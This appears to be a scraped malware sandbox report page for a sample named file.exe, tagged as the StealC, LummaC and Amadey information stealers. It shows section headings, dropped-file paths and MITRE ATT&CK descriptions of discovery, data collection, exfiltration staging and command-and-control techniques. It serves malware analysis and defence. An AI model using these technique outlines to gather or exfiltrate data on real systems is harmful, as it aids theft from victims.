Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\BGDBKKFH

C:\ProgramData\CBAFCAKEHDHDHIDHDGDHJEGHID

C:\ProgramData\FHJDAAEGIDHDGCAAFCBA

C:\ProgramData\IDBKKKKKFBGDGDHIDBGH

C:\ProgramData\IIJKJDAFHJDHIEBGCFID

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre